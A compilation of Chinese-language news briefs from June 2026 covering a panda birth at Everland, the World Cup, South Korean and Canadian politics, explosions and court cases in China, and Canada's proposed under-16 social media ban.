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旅居南韩三星爱宝乐园的大熊猫“华妮”（又名“爱宝”）于6月3日上午10时53分顺利产下一只雌性幼崽，体重170多克，叫声洪亮、活力良好。这是“华妮”自2016年旅韩以来的第四胎，也是中国大熊猫保护研究中心旅居海外大熊猫今年产下的第一只幼崽。 产程约两小时母女平安 据爱宝乐园方面介绍，“华妮”当日出现阵痛后约两小时便顺利分娩。幼崽体重为171克，与其兄姐“福宝”（197克）、“睿宝”（180克）及“辉宝”（140克）相比，体重处于良好水平。目前“华妮”与幼崽身体健康状况良好，母女平安。 旅韩大熊猫“华妮”诞下第四胎，“福宝”再添妹妹。 中国大熊猫保护研究中心   旅韩大熊猫“华妮”诞下第四胎，“福宝”再添妹妹。 中国大熊猫保护研究中心   旅韩大熊猫“华妮”诞下第四胎，“福宝”再添妹妹。 中国大熊猫保护研究中心   旅韩大熊猫“华妮”诞下第四胎，“福宝”再添妹妹。 中国大熊猫保护研究中心   旅韩大熊猫“华妮”诞下第四胎，“福宝”再添妹妹。 中国大熊猫保护研究中心   专程前往南韩为“华妮”接生的中国大熊猫保护研究中心专家王平峰表示，已有生产经验的“华妮”迅速抱起幼崽、舔舐安抚，带崽行为熟练平稳。当日下午，在饲养员协助下，王平峰两次辅助幼崽吃奶，确认已成功吸食到母乳。 中韩合作十年成果 2016年3月3日，雄性大熊猫“园欣”与“华妮”抵达三星爱宝乐园，开启为期15年的中韩大熊猫保护科研合作之旅。十年来，在中方专家指导下，“华妮”与“园欣”通过自然配对，先后于2020年诞下“福宝”、2023年诞下双胞胎“睿宝”和“辉宝”，以及今次第四胎。 其中，“福宝”已于2024年4月返回中国大熊猫保护研究中心卧龙神树坪基地。 中韩专家联手照顾 自“华妮”出现临产反应以来，中国大熊猫保护研究中心除立即派出专家赴韩现场指导及接生外，还建立了线上专家团队，与韩方专家密切关注生产情况。王平峰将在韩国停留一段时间，继续协助照顾母幼，线上专家团队亦将持续提供远程指导。 爱宝乐园表示，今年适逢中韩大熊猫保护共同研究启动十周年，此次幼崽诞生别具意义。乐园计划待幼崽能够独自行走、具备免疫力后，再讨论向公众开放展示的时间。此前“福宝”等兄姐均在出生后约五至六个月首次与公众见面。 

港人越来越多北上大湾区退休生活，惠州首个港澳居民健康服务中心6月8日启用，港人可以更便捷的享用跨境诊疗服务。 惠州完成首宗“港澳药械通”手术 据内媒报道，该个港澳居民健康服务中心，由惠州市第三人民医院与香港大湾区医疗集团合作，建立集诊疗服务、健康管理、医保对接、多语支援于一体的一站式跨境医疗服务平台。 惠州首个港澳居民健康服务中心启用。南方+   惠州首个港澳居民健康服务中心启用。小红书＠大湾区陪诊小助手   针对北上居住港人需要，中心将提供跨境直付、跨境影像、跨境会诊、跨境转诊、跨境疫苗、跨境找药等服务。 惠州市卫生健康局副局长邱惠源表示，目前，全市已有5家医院被确定为粤港澳大湾区“港澳药械通”指定医疗机构，打通了国际先进创新药械快速进入内地临床应用的通道。 其中，惠州市第三人民医院是全市最早落地“港澳药械通”政策的公立医院，已成功实施全市首例“港澳药械通”人工耳蜗手术，这也是大湾区首例应用最新型号处理器的临床实践。  

2026年世界杯将揭开历史新一页。由墨西哥、加拿大及美国联合主办的赛事，首次采用“三国三地三场开幕礼”形式，分别在墨西哥城、多伦多及洛杉矶举行，象征北美三国共同迎接全球球迷。今届开幕礼星光熠熠，除最新确认加入的拉丁天后Shakira，还有Burna Boy、Katy Perry、BLACKPINK成员Lisa、Future、Anitta、Michael Bublé及Alanis Morissette等国际级巨星参演，为史上首次48队参赛的世界杯掀开序幕。 墨西哥开幕礼将于当地时间6月11日在著名的墨西哥城阿兹特克球场（Estadio Azteca）上演，并在墨西哥对南非的揭幕战前举行。焦点落在Shakira与尼日利亚歌手Burna Boy身上，两人将首次现场演唱世界杯官方主题曲《Dai Dai》。此外，J Balvin、Maná、Alejandro Fernández、Belinda、Danny Ocean、Lila Downs及Los Ángeles Azules等拉丁乐坛代表人物亦会登场，主题围绕拉丁文化、足球热情及世界团结。 加拿大开幕礼将于6月12日在多伦多BMO Field举行，安排在加拿大对波斯尼亚及黑塞哥维那赛前进行。演出阵容以加拿大本土音乐力量为核心，由Michael Bublé领衔，联同Alanis Morissette、Alessia Cara、Jessie Reyez、William Prince，以及来自不同文化背景的Elyanna、Vegedream、Nora Fatehi及DJ Sanjoy演出，展现加拿大多元文化及包容精神。 美国开幕礼则于6月13日在洛杉矶SoFi Stadium举行，作为美国对巴拉圭赛前盛会。FIFA以“娱乐之都欢迎世界”为主题，邀请Katy Perry领衔演出，并有Future、Anitta、BLACKPINK成员Lisa、Rema及Tyla同台献艺。主办方希望透过流行音乐、嘻哈、拉丁及非洲音乐元素，展示美国文化的多样性与全球影响力，打造一场充满能量的欢迎盛典。 【三场开幕礼开始时间（加东时间）】 •...

南韩总统李在明（Lee Jae-myung）于6月8日召开就职一周年记者会，罕有对以色列军方发出强烈谴责。李在明透露，日前以军在国际水域武力拦截加沙援助船队，并扣押两名南韩公民，此举已严重侵犯南韩主权、违反国际准则及人权，本质上“如同绑架”。 两韩国人援助加沙却遭以军扣押 当天（8日），李在明提到了以色列军方在国际水域拦截加沙援助船队并扣押船队中的南韩公民一事。 李在明说：“我通常避免谈及以色列，对于以色列军队在加沙地带采取的过度行动，作为韩国总统，我本打算不予评论，但还是指出了这一点，因为我认为他们做得太过分了。然而，此后难道没有发生进一步侵犯我们公民人权的事件吗？这难道不意味着存在难以理解且不能容忍的侵犯人权行为吗？” 他更表示，如果自己是普通民众可能早就批评以军行径了，但作为南韩总统，一直在努力克制自己的言论。 试图向巴勒斯坦加沙地带运送人道物资的“全球坚毅船队”（Global Sumud Flotilla）日前遭以色列军方拦截及扣押，事件引发巨大争议。 路透社   他继续说：“这还涉及到国际准则的问题。这件事难道不是在公海上发生的吗？既然公海航行自由受到保障，这难道不是对我们公民的绑架吗？我们不得不指出这个问题，因为这侵犯了主权，违反了国际准则，侵犯了人权。” 5月18日，载有两名南韩和平活动家的加沙援助船队被以色列军队扣押。5月20日，李在明谴责称，以色列当局至少应该遵守最基本的国际准则。 他表示，以色列的做法过于不人道，已经严重逾越底线，应按原则处理。他指出，交战国之间如何行动，那不是韩方该介入的问题，但第三国船只只是前往提供援助或进行志愿活动，却遭到扣押，这种做法不合理，应提出抗议。 性质与二战日军无异 4月10日，李在明曾转发“巴勒斯坦儿童疑被以军从楼顶扔下”的视频，并表示：“需要核实此事是否属实，若属实，又采取了哪些应对措施。” 李在明说，“我们谴责（二战期间日军）强制征用慰安妇的行径，这与我们对犹太人（遭纳粹）大屠杀及其他各类战时屠杀行为的谴责，在性质上并无二致。”

现年28岁、拥有英国皇家艺术学院硕士学位的薛女士近日再次参加北京高考，她称自己将目标学校定在大专，希望学习一门技术，“在校园生活中回归规律的生活作息”。 6月8日，薛女士在结束英语考试接受内媒“大象新闻”采访，称硕士毕业后她回国工作了一段时间，但工作让她对自我价值产生迷茫，于是她选择离职做宠物用品方向的家居品牌创业，并希望系统地学习新技能。 校园中回归规律生活 与此同时薛女士开始考虑重新进入校园环境，并将目标定在了大专，“大专很有针对性，可能会更适合我去学一门技术。而且因为我没怎么复杂，应该考不到本科线。”她同时希望通过接触更多年轻人，让思维保持年轻，并在校园生活中回归规律的生活作息，享受学生优惠、食堂、球场等公共措施。

四川德阳一名女子日前在德阳城市轨道交通职业学院门外摆放易拉架海报、派发传单，公开举报其丈夫与该校一名鄢姓女职员存在不正当男女关系，同时指控对方利用职务便利中饱私囊。涉事学院今日（11日）凌晨发布通报，证实鄢某某已于上月离职，并就贪腐指控成立专项调查组展开核查。 列五大指控 斥女方权色交易中饱私囊 据内地媒体报道，事发于本周二（9日），网传影片显示，一名女子偕同亲友前往“德阳城市轨道交通职业学院”大门外，即场摆放大型海报（易拉架）并向过往的学生及途人派传单。 川妇校外摆易拉架派传单，举报丈夫搭上高校女职员，斥女方权色交易中饱私囊。   川妇校外摆易拉架派传单，举报丈夫搭上高校女职员，斥女方权色交易中饱私囊。   易拉架列五大指控。   易拉架列五大指控。   女子校外派传单举报丈夫搭上高校女职员。   该易拉架上列明了五项详细指控，除了实名举报其丈夫与该校后勤部鄢姓女职员存在不正当男女关系外，更将矛头直指鄢某某的操守问题，指控她利用职务便利，侵占学校项目资源、干预招投标并中饱私囊，涉嫌严重违纪贪腐。 校方澄清非“处长”并已成立调查组 面对舆论发酵，德阳城市轨道交通职业学院于今日（11日）凌晨发布情况通报作正式回应。 通报指出，校方对事件高度重视并第一时间进行核实。经查，鄢某某于2024年8月通过公开招聘入职该校，仅为后勤保障处的“普通职工”，并非网传的“后勤部处长”。此外，鄢某某早前因身体不适，已于今年5月25日提出请辞，并于5月29日正式离职。 针对举报中涉及的贪腐问题，校方强调，就网传鄢某某利用职务之便干预招投标的行为，学院已成立专项调查组，目前正作进一步深入核查，将严格依照相关规定处置。事件焦点目前已从家庭感情纠纷，延伸至校园廉洁及招投标监管问题，当地相关部门的后续调查结果备受关注。

5月22日晚上7点半，沁源县山西通洲集团留神峪煤业有限公司井下发生气体爆炸事故，造成82人遇难、2人失联、128人受伤。国务院已成立“5·22”特别重大事故调查组，最高人民检察院也宣布对事故案挂牌督办。 6月2日晚，山西省纪委监委网站发布消息：沁源县委书记赵永进涉嫌严重违纪违法，目前正接受省纪委调查。6月7日，山西省长治市纪委监委公布，沁源县应急管理局局长孙晓晔，沁源县应急管理局党委委员、应急管理综合行政执法队副队长岳晓东，沁源县应急管理综合行政执法队执法一队队长张谦，也涉嫌严重违纪违法，分别接受调查。

【星岛综合报道】加拿大国庆日全国同步鼓艺庆祝盛会(Canada Day Drumming，简称CDD)定7月1日(周三)庆祝其10周年纪念日。 在过去的10年里，CDD从一项地方社区活动发展成为一项全国性的庆祝活动，透过鼓乐这一通用语言，将加拿大各地成千上万的参与者联系起来。主办方表示，该活动将加拿大人凝聚在一起，以强而有力的方式表达团结、多元、包容、和平与社区精神。 国庆日鼓艺庆会创始人兼全国主席黄国裕(Richard Wong)表示：“10年前我们发起加拿大国庆日击鼓盛会时，从未想过一个击鼓站点能传播如此之远。这项活动最初源自于当地社区，如今已发展成为一项全国性的庆祝活动，它将加拿大人跨越文化、世代和社区凝聚在一起。无论您是在大型节日上击鼓，还是在小镇聚会中，亦或是与家人和朋友一起击鼓，您都参与到一项超越个人意义的活动中。加拿大国庆日击鼓活动提醒我们，尽管我们的背景可能不同，但我们仍然可以透过共同的节奏走到一起。 ” 目前该活动今年已有超过40个城市和社区确认参与，且还有更多地点正在加入，预计2026年活动将成为其10年历史上规模最大的一次。参与者包括各大城市、小镇、文化组织、原住民社区、养老院、社区中心、学校、节庆庆典，以及遍布加拿大各地的家庭聚会。 活动从太平洋时间上午10时30分(加东时间下午1:30)开始，持续到太平洋时间上午11时45分(加东下午2:30），全国直播将连接从卑诗省维多利亚到纽芬兰吉拉布拉多省圣约翰斯的各个参与社区。庆祝活动将于太平洋时间上午11时30分达到高潮，届时来自加拿大6个时区的参与者将齐聚一堂，共同进行6分钟的击鼓，创造一个共同庆祝加拿大多元化、社区精神及团结的全国性时刻。 温哥华旗舰活动将在列治文兰士登中心(Lansdowne Centre)西北角停车场举行。活动内容包括原住民欢迎和击鼓仪式、多元文化击鼓表演、舞龙舞狮、武术表演，以及展现当今加拿大多元文化的展示。现场将免费发放2000多个纪念版沙铃鼓，数量有限，先到先得，让每个人都能参与到全国同步的击鼓庆祝活动中。 查询加拿大各地举办的更多国庆日击鼓活动信息，可点此上网。活动直播请造访：www.canadadaydrumming.com。 (图：主办方提供) V02

大陆交通运输部在台湾以东海域组织开展一连五日的“海上交通专项执法和扫测行动”，行动于昨日结束，期间共派出4艘船舰，点验过往船舶198艘次。大陆方面称，这是针对日菲启动海域划界谈判的必要行动。 日本与菲律宾在5月28日宣布启动海洋边界谈判，涉及在台湾以东海域，中国外交部多次表示反对。新华社昨报道，6月6日至10日，大陆交通运输部组织福建海事局、广东海事局、东海航海保障中心、东海救助局共同开展海上巡航执法，扫测台湾岛东部等重点海域，并指这是针对日菲单方面启动划界谈判、严重侵犯中国领土主权和海洋权益采取的必要行动。 台方批评是挑衅行为 其中，大陆万吨级海事巡逻船“海巡09”轮、大型巡航救助船“海巡06”轮、专业海道测量船“海巡08”轮、专业救助船“东海救113”轮，点验过往船舶，提醒船舶遵守航行规则，查处各类海上违法违章行为，维护通航秩序；查验船舶导助航设施情况，查验过往船舶标识码讯息，开展台湾岛东部海域扫测作业。 本次行动总航程1030海里，扫测总里程1025海里，点验过往船舶198艘次，纠正船舶违章违法行为3艘次，强化了大陆在台湾岛以东海域巡航执法和交通管控能力。台湾防长顾立雄周一批评大陆此举是挑衅行为，表示台湾军方将与海巡署密切协调应对。

广西桂林凌晨发生严重爆炸事故，已造成7死17伤。广西桂林市兴安县公安局通报，6月11日凌晨1时40分许，兴安县兴安镇灵湘路发生一宗爆炸事件。 内地“晨视频”报道，住在附近的樊女士（化姓）表示，自己家离爆炸地不到1公里，事发时她听到窗户哢哢地响，房间门都震得自己开了，樊女士以为发生地震。随后她快速从床上起来，“爬到楼顶看到了两朵蘑菇云，房子也着火了。”另有居民表示，第一次被吓醒后，过了几分钟又炸了一次，附近两条街上很多房子玻璃都碎了。 网上流出的照片可见，爆炸现场为居民区，有疑似自建房建筑起火。有居民在网上留言，已因事故入院，亦有人指，事发时先后有两次爆炸，造成周边居民大量窗户玻璃被震裂。 附近居民在11日早上拍摄的照片显示，爆炸令周边大量建筑物受影响，窗框也飞脱，街道满是玻璃碎。 桂林兴安县半夜大爆炸，已致7死17伤。抖音   桂林兴安县半夜大爆炸，已致7死17伤。抖音   桂林兴安县半夜大爆炸，已致7死17伤。抖音   爆炸令周边建筑严重受损。抖音   爆炸令周边建筑严重受损。抖音   爆炸令周边建筑严重受损。抖音   有民众指发生两次爆炸。抖音   爆炸令周边建筑严重受损。抖音   事件发生后，桂林市、兴安县两级党委、政府主要领导第一时间赶赴现场，组织公安、消防、卫健、应急等部门开展救援、处置工作。经4轮现场搜救，目前事件造成7人死亡，17名伤者已送医院救治，均无生命危险。其他轻受伤人员经医院处置后已妥善安置。现场救援工作仍在进行中。 经初步调查，排除爆炸是因管道燃气等因素引起，公安机关正在对事件原因开展进一步调查。

美加墨世界杯即将开锣，万众期待，但曾是“最大金主”的中国企业，对本届赛事的赞助热情断崖式降温。本届世界杯中国赞助商仅占3间，分别为联想、海信、蒙牛，合计投入约3.5亿美元，较上届卡塔尔世界杯的13.95亿美元缩水7成。 国际足协设置四级赞助体系，分别为合作伙伴（顶级）、特级赞助商（二级）、官方赞助商（三级）、赛事支持商（四级）。其中，顶级赞助商的合作费用约1.5亿至2亿美元，联想与万达（后退出）位列此级，与阿迪达斯（adidas）、可口可乐等国际一线品牌并肩。二级赞助商则尚未披露具体名单。三级赞助商投入规模为6500万至9500万美元，海信与蒙牛在此层级，与百威、麦当劳等赞助相当。 按照最初合作规划，4间中国企业总投入超过5亿美元，但由于万达未按时支付赞助费，被国际足协暂停权益，最终退出赞助商行列，其余3间中国企业实际赞助额或仅得3.5亿美元。 回溯以往赞助，中国企业曾是连续两届世界杯的“最大金主”。2018年俄罗斯世界杯，7间中国企业合计赞助约8.35亿美元，中国首度登顶全球最大赞助来源国。到2022年卡塔尔世界杯，中国企业赞助额达13.95亿美元的巅峰，再次登顶。当时的赞助商包括万达、海信、蒙牛、vivo、雅迪和BOSS直聘（招聘网站）等6间。 凌晨清晨对决料收视不高 内地财经平台“巨潮WAVE”分析指，本届中国企业赞助热情大减，首先跟企业经营承压有关。光伏企业英利赞助两届世界杯后，受业绩拖累已无力继续投入；万达则因地产爆雷，陷入财务危机，退出顶级赞助阵营。其二，本届七成赛事集中在中国时间凌晨至清晨时段，收视率估计不高，进一步削弱企业赞助意愿。 另外，企业海外营销模式也已转变。中国品牌亮相世界杯始于2010年，当年英利投入8000万美元，让“中国英利”4个汉字首度亮相南非世界杯，也是世界杯举办80多年来，首次迎来汉字标识。然而如今中国企业出海，更青睐精准触达客户群体的数码化营销。相比之下，传统世界杯广告受众宽泛、成本偏高，性价比已明显不足。 

黑龙江绥化市一男子因妻子与同村男子有婚外情，积怨后驾车蓄意撞杀对方，事后夫妻二人一同销毁行车纪录仪证据。当地中院近日公布一审判决，肇事男子以故意杀人罪被判无期，其妻亦构成帮助毁灭证据罪，获刑10个月、缓刑1年。 妻助毁灭证据判缓刑 裁判文书显示，35岁被告李某与妻子张芳（化名）为当地村民，36岁的刘波与二人同村。早前刘波与张芳发展婚外关系，还多次羞辱李某，双方另琐事爆发争执并曾相约冲突，积怨已久。 2025年8月21日，李某驾车载妻子取快递时，偶遇驾驶三轮车的刘波。经妻子确认身份后，李某驾车以78至89公里时速加速撞击对方车辆，造成刘波右肺中叶破裂、肺脏脾脏破碎，最终因急性失血身亡。 案发后李某报警及呼叫急救，随后夫妻二人折返现场，拆解行车纪录仪，分别咬碎内存卡、掩埋并丢弃零部件，销毁作案证据。经警方传唤到案，二人均认罪认罚。考虑到被害人对案件起因存有过错，且二人事后认罪悔罪，法院酌情从轻判罚。最终李某被判无期徒刑、剥夺政治权利终身，赔偿死者家属约4.95万元人民币丧葬费；张芳获刑10个月，缓刑1年。

美国陆军一架阿帕奇直升机周二（6月9日）坠落在霍尔木兹海峡附近后，美军随即展开搜救。美军方同日向媒体称，海军一艘无人艇已寻获并救起两名机员，这是首次由美国海军无人艇完成此类任务。 美中央司令部：奇蹟 据美军中央司令部发言人称，当时天色渐暗，机员在水中待了两小时。一名高官形容，两人从被击落的直升机中逃生宛如天助的奇蹟。 据悉由远端遥控的无人艇当时由美军MQ-9“死神”无人机与喷射战机在空中掩护，随后救起机组人员。 这艘长约7.3米的萨罗尼克（Saronic）公司Corsair无人艇可航行逾1000海里(约1850公里)，当时将机员运送至较安全水域；之后机员由救援直升机从无人艇甲板接走。

英国北爱尔兰首府贝尔法斯特发生持刀袭击案后，全球首富马斯克等英美反移民意见领袖，在社交媒体呼吁民众上街。英国执政工党女主席特利指责马斯克及社交媒体，在贝尔法斯特周二爆发的反移民骚乱中“扮演了某种角色”。 曾多次指责英警针对白人 特利指许多“恶意行为者”身处远方利用网络煽风点火，自身无需承担风险，却让英国的普通家庭身处险境。她强调，作为公众人物，马斯克有责任呼吁冷静，而非激化不满、仇恨。北爱尔兰司法部长内奥米·朗也指煽动情绪的“恶意”人士应“远离键盘”。 面对指控，马斯克声称赞同英国右翼评论员古德温的一篇帖文。帖文说，真正点燃局势的是“刻意推行的大规模失控移民与开放边境政策”。马斯克曾多次指责英国警方存在针对白人的种族歧视。

有网友前日在社交平台发文称，“乘坐东海航空DZ6209次航班从深圳飞往北京大兴时，有人在飞机上抽烟”，引发关注。 东海航空方面昨日证实称：“当天已按规定程序处置，并已移交给大兴警方。”  据南方都市报报道，周一，该名网友在社交平台发文表示，“今天坐东海航空的DZ6209从深圳飞往北京大兴，睡梦中一个人路过我身边，突然闻到很浓郁的烟味，还以为是自己太敏感，过了两分钟发现空乘和安全员都去找这位乘客了。” 根据《民用航空安全保卫条例》，航空器内禁止在禁烟区吸烟。此外，《公共航空旅客运输飞行中安全保卫工作规则》显示，航空器上的非法干扰行为包括：吸烟（含电子香烟）、使用火种的。

【星岛综合报道】美国宾夕法尼亚州州长夏皮罗(Josh Shapiro)周三罕见公开批评美国总统特朗普对加拿大的言论，形容其言辞“鲁莽且不尊重”，并强调自己尊重加拿大主权，不认同将加拿大视为美国“第51州”的说法。 夏皮罗周三在多伦多与安省省长福特(Doug Ford)共同出席记者会，并签署新的双边贸易合作协议。 夏皮罗表示，他理解许多加拿大人近来对美国产生负面观感。“我知道，对许多加拿大人而言，美国现在看起来并不友善。我理解这种感受，因为我们总统发表了许多鲁莽且不尊重人的言论。” 他进一步强调：“请听我说，我尊重加拿大的主权。” 他称，特朗普政府对加拿大实施的关税措施正在伤害两国经济。自特朗普发动新一轮贸易战并频繁提出加拿大应成为美国“第51州”以来，宾州与安省之间的贸易额已减少约5亿美元。 他批评“美国联邦政府所造成的混乱，正在让我们所有人变得更糟。” 针对特朗普声称美国“不需要加拿大任何东西”，甚至表示不一定会续签《加美墨协定》（CUSMA），福特也公开反驳。“我完全不同意。我们彼此都需要对方。” 他指出，若北美盟友之间无法合作，其他国家将填补空缺。“如果没有彼此合作，中国等国家就会进来，掌控关键矿产市场。” 福特认为，加拿大与美国应共同发展关键矿产供应链，以降低对中国的依赖。 与夏皮罗会面前一天，福特才刚结束华盛顿之行。他与多名美国国会议员会面，希望强化对加拿大贸易关系的支持。 不过，原订与 美国商会(U.S. Chamber of Commerce) 举行的活动却在最后一刻取消。 福特表示，主办方告知是因为“行程冲突”。 然而，据加拿大《环球邮报》报导，活动可能是在白宫施压下取消，但相关消息尚未获得独立证实。 政治观察人士指出，夏皮罗此次公开批评特朗普对加拿大的态度相当罕见，也反映部分美国州政府对华府贸易政策的不满。 相关新闻：【加美墨协定】特朗普再度撂狠话：不想续签加美墨协定 相关新闻：【加美墨协定】特朗普不打算续签协定++尹大卫用特朗普的书来讽刺回应 图：宾州州政府 v01

南韩 VS 捷克Now618、616台周五早上10:00直播推介：半场主客和 “和” 南韩于世界杯A组首轮斗实力接近的捷克，预计控球能力占优，预计前线球员的创造力和突破力在阵地战中尤为关键。太极虎有连续两季夺得欧联冠军的翼锋李康仁，其级数高且创造力强，有力主宰今场胜负。两军为争取出线，今仗必定步步为营，半场打成平手机会极高，推介半场和。 南韩在外围赛第3圈以6胜4和的不败成绩强势晋身决赛周，其间场均控球率高达75%，加上球员速度及体能均属上乘，今仗极大机会掌握主导权。预料虽然南韩今场会采取主动，然而阵地战依然会小心翼翼，尽量避免后防犯规，以减少让身材高大的捷克靠死球有机可乘。效力巴黎圣日耳门的翼锋李康仁连续两季成为欧联冠军成员，级数超班，季内贡献3个入球及4次助攻，其突破力、创造力和死球的处理势成太极虎破局重要手段。 捷克球员普遍身材高大，极具制空优势，在22个外围赛入球当中，有一半正是来自死球战术。由于两队皆以出线为大前题，首战肯定以不输波为目标，今场难望出现大手交易，半场闷和的机会高唱入云。马高

【星岛综合报道】涉嫌在2025年温哥华拉普拉普节(Lapu Lapu Festival)袭击他人而被控11项二级谋杀罪的罗凯吉(Adam Kai-Ji Lo，音译)，其审判定于2027年4月19日开始。 罗凯吉选择不接受陪审团审判，而是由法官在卑诗省最高法院进行单独审判。 审判细节于周三(10日)在温哥华同一法院举行的案件管理会议上确定，审判期预计持续至明年8月25日。 【相关新闻】汽车撞人嫌犯出庭 惨剧中重伤台湾女子苏醒 【相关新闻】汽车撞人致11死华裔嫌犯 被加控31项意图谋杀共42罪 罗凯吉透过视讯出席了会议，他穿着黑色短袖衬衫，基本上保持静止，仅以单字或短语作答。 他还面临31项谋杀未遂指控，这些指控源自于2025年4月26日的攻击事件。当时，一辆SUV冲入温哥华菲律宾社区举办的拉普拉普节人群中。 审前程序细节已被禁止公开。 此案先前由卑诗省法院审理，今年稍早移交至卑诗省最高法院。 去年9月，一名法官在听了法医精神科医生的证词后，裁定罗凯吉适合受审。 然而，由于禁令，罗凯吉适合受审的具体理由以及他向医生陈述的内容均无法公开。 包括加通社在内的一个媒体联盟已对此禁令提出质疑，但一名省级法院法官去年9月表示，对该申请的裁决已被推迟。 这宗攻击事件促使人们修改并提出了改善节庆活动及社区活动公共安全规则的建议。 拉普拉普节庆祝活动于今年4月在温哥华意大利文化中心的新址举行，重点在于缅怀及纪念攻击事件的受害者。 (图：加通社资料图片) V11

【星岛综合报道】针对美国总统特朗普表示“不打算续签”《加美墨协定》（CUSMA），卑诗省省长尹大卫 (David Eby) 周三（10日）公开回击，形容特朗普的说法“有点莫名其妙”（a bit bizarre），甚至讽刺这番言论像是其1987年的著作《交易的艺术》（The Art of the Deal）的一部失败续集。 尹大卫是在与加拿大总理卡尼及各省省长举行线上首长会议后发表上述评论。 他说：“在三个国家正在讨论协议未来之际，总统却说自己不打算续约，这实在有点奇怪。” 他坦言，不确定特朗普究竟真正想表达什么。 根据他的理解，即使三国未能在今年完成16年延长协议的程序，CUSMA也不会立即失效。 现行CUSMA于2020年生效，原定有效期至2036年。根据协议条款，今年7月1日将进行首次6年检讨（Joint Review）。若三国同意，可将协议再延长16年；若无法达成共识，则会启动年度检讨机制，每年重新检视协议内容，而非立即失效。 特朗普周三又重申，美国不需要加拿大提供任何东西，也不需要墨西哥的商品。 尹大卫说，卑诗省及加拿大政府当然希望获得16年的长期稳定性，但即使维持现有安排，也比重新掀起贸易争端来得好。 他说：“让我们专心做生意吧，双方都遵守协议，继续执行现有的CUSMA就好。” 随后，他讽刺特朗普近期的谈判风格：“如果说《交易的艺术》是一部畅销作品，那么这部续集实在相当乏味。” 相关新闻：特朗普再度撂狠话：不想续签加美墨协定 相关新闻：【加美墨协定】美宾州州长公开批特朗普  与安省签贸易协定 图：加通社 v01

【2026世界杯】J组由卫冕冠军阿根廷领衔，论牌面一枝独秀；奥地利用多名德甲兵做逼抢，以效率取胜；阿尔及利亚球员质高且踢法悦目，更有法国“球王”施丹之子在阵；约旦初踏世杯决赛周赛场，将以务实策略应战，力抗同组三“A”对手。 原班人马上阵　阿根廷卫冕当心32强遇狂牛 美斯上届在卡塔尔带领阿根廷于决赛击败法国捧杯，拿下个人球员生涯最后一项未拿到并且是最重要的大赛锦标，确立无可置疑的“球王”地位。今届已38岁的美斯，将再以队长身份，带领阿根廷在北美卫冕，除了迪马利亚已退出国际赛、迪巴拿因走下坡而被弃用外，基本上保留了上届原班人马，被视为争标分子。 原班人马卫冕　美斯仍是核心 而美斯在卡塔尔登顶封王后；脚步未有因梦想已圆满而停下来，带领国际迈亚密连夺2023年北美联赛杯及2025年美职联总冠军，无论助攻和入球，仍然保持水准。 国家队方面，美斯带领阿根廷于今届世界杯南美洲区外围赛，以12胜2和4负的佳绩首名出线，抛离次名的厄瓜多尔11分之多。 如失落小组首名　将会遇上西班牙 38岁的美斯早前于联赛中受伤，外界一度担心他能否出战加美墨世界杯，最终确定他将会联同前锋艾华利斯、中场迪保罗、后卫罗美路和门将达美安马天尼斯等队友，再次为争夺大力神杯而奋战。 阿根廷被视为J组取得首名的热门，慢热的阿根廷上届首战爆冷败于沙特阿拉伯，今届首场对手是实力更强的另一个阿拉伯国家——阿尔及利亚。如果阿根廷掉以轻心只能以小组次名晋级，在32强很可能遇上成为H组首名的西班牙，提早上演堪比决赛的戏码！ 阿根廷世界杯J组赛程 日期    开赛时间(多伦多时间)    对手 16-06    晚上9:00    阿尔及利亚 22-06    下午1:00    奥地利 27-06    晚上10:00    约旦 阿根廷焦点球员 美斯 (Lionel Messi) 位置：前锋 出生日期：24-06-1987 效力球会：国际迈亚密 国际赛上阵/入球：199场/117球 迪保罗 (Rodrigo De Paul) 位置：中场 出生日期：24-05-1994 效力球会：国际迈亚密 国际赛上阵/入球：85场/2球 艾华利斯 (Julián Alvarez) 位置：前锋 出生日期：31-01-2000 效力球会： 马德里体育会 国际赛上阵/入球：51场/14球 拿达路马天尼斯 (Lautaro Martínez) 位置：前锋 出生日期：22-08-1997 效力球会： 国际米兰 国际赛上阵/入球：77场/37球   阿尔及利亚人脚高质但欠稳　施丹次子把关出色 阿尔及利亚之前4次出战世界杯决赛周，于1982、1986、2010年三届同样在分组赛出局，直至2014于分组赛胜和负各一，以次名晋级16强，被当届冠军德国淘汰。今届他们有望于J组争得晋级，再力争决赛周淘汰赛首胜。 卢卡施丹零封荷兰 摩洛哥在上届杀入四强让世人刮目相看，同为北非球队的阿尔及利亚，实力有过之无不及，中前场有多名技术优秀的球员，门将是法国球王施丹的第二子卢卡施丹，他去年转籍阿尔及利亚，立即被重用为正选。球队上周在热身赛中作客1:0击败荷兰，28岁的卢卡施丹面对荷兰猛烈攻势力保不失，表现抢镜。 队长马列斯以38个入球位列阿尔及利亚队史次席射手，但已年届35，状态正在下滑。锋线冒起了效力德甲禾夫斯堡的穆罕默德艾穆拉，他于外围赛狂轰10球加4次助攻，是出线头号功臣。 中场有4名在德甲或法甲揾食的球员，防线有英超曼城的艾洛利、德甲多蒙特的宾斯拜尼，以及法甲里尔的艾沙文迪，球队的对抗性和反击速度都很突出，问题是水准欠稳定。 阿尔及利亚世界杯J组赛程 日期   开赛时间(多伦多时间)   对手 16-06   晚上9:00   阿根廷 22-06   晚上11:00   约旦 27-06   晚上10:00   奥地利 阿尔及利亚焦点球员 马列斯 (Riyad Mahrez) 位置：前锋 出生日期：21-02-1991 效力球会：吉达艾阿里 国际赛上阵/入球：113场/38球 穆罕默德艾穆拉 (Mohamed Amoura) 位置：前锋 出生日期：09-05-2000 效力球会：禾夫斯堡 国际赛上阵/入球：44场/19球 艾沙文迪...

【星岛综合报道】联邦政府周三提出全新《安全社群媒体法案》（Safe Social Media Act），将禁止16岁以下未成年人在大多数社群媒体平台开设账号，并首次对人工智能（AI）聊天机器人设定法律责任，以加强保护儿童及青少年网路安全。 这项法案被视为加拿大近年来最全面的数位安全立法之一，涵盖社群媒体、直播平台以及部分成人内容平台，同时建立全新的联邦监管机构负责执法与监督。 根据法案内容，社群媒体公司将有法律义务阻止16岁以下使用者建立或持有账号。 受影响的平台包括：脸书、X、各类直播平台和使用者可自行上传内容的成人网站等。不过，法案不适用于网路搜寻引擎。 政府表示，未来部分平台若能证明已建立足够的儿童保护措施，将可申请豁免，不受禁令限制。 法案将成立一个独立的“数位安全委员会”（Digital Safety Commission），负责：制定数位安全规范、监督平台遵守法令、审查豁免申请、处理民众投诉和执行相关罚则。 该委员会将负责订定标准，判断哪些平台已具备足够儿童保护机制，可以允许16岁以下青少年使用。 在委员会正式成立之前，政府仍可透过行政命令及相关法规率先实施年龄限制措施。 法案要求平台必须采取有效措施验证用户年龄。虽然法案未明确规定验证方式，但要求相关系统必须能合理确认使用者未满16岁时无法建立账号。 